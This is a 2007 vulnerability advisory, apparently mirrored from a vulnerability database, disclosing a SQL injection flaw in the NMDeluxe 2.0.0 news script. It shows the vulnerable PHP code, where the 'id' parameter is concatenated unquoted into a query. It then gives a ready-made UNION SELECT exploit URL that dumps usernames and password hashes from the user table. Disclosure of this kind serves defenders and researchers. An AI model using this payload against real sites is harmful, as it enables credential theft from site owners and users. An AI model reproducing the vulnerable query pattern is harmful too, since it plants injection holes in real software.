NMDeluxe 2.0.0 (id) Remote SQL Injection Vulnerability

🗓️ 31 Aug 2007 00:00:00Reported by RootType
Remote SQL Injection in NMDeluxe 2.0.

                                                #########################################################################################
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;not&nbsp;sec&nbsp;group
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.notsec.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[email protected]
#
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[NMDeluxe&nbsp;2.0.0]
#
#&nbsp;Class:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SQL&nbsp;Injection
#&nbsp;Found:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;30/08/2007
#&nbsp;Remote:&nbsp;&nbsp;&nbsp;&nbsp;Yes
#&nbsp;Site:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.wsdeluxe.com/nmdeluxe/
#&nbsp;Download:&nbsp;&nbsp;http://downloads.sourceforge.net/nmdeluxe/nmdeluxe2.0.0.zip?modtime=1178396844&amp;big_mirror=0
#&nbsp;Author:&nbsp;&nbsp;&nbsp;&nbsp;R00T[ATI]&nbsp;of&nbsp;notsec
#&nbsp;Contact:&nbsp;&nbsp;&nbsp;[email protected]&nbsp;-&nbsp;http://www.notsec.com
#
#########################################################################################


&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Vulnerable&nbsp;code:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;index.php
============================================================================================================
if($_GET['do']&nbsp;==&nbsp;'newspost')
{
&nbsp;&nbsp;$newsid=addslashes($_GET['id']);

&nbsp;&nbsp;$sql=mysql_query('SELECT&nbsp;*&nbsp;FROM&nbsp;`'.DB_PFX.'news`&nbsp;WHERE&nbsp;id&nbsp;=&nbsp;'&nbsp;.&nbsp;$newsid&nbsp;.&nbsp;'&nbsp;LIMIT&nbsp;'&nbsp;.&nbsp;$nlim&nbsp;.&nbsp;'');
============================================================================================================


&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exploit&nbsp;:
============================================================================================================================================================================================
http://www.site.com/[nmdeluxe]/index.php?do=newspost&amp;id=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,concat(username,0x3a,password)%20FROM%20nmd_user/*
============================================================================================================================================================================================


&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Thanks&nbsp;To:
=================================
All&nbsp;notsec.com&nbsp;members;
White_Sheep&nbsp;for&nbsp;his&nbsp;Bugs&nbsp;Hunter;
=================================
31 Aug 2007 00:00Current
7.1High risk
Vulners AI Score7.1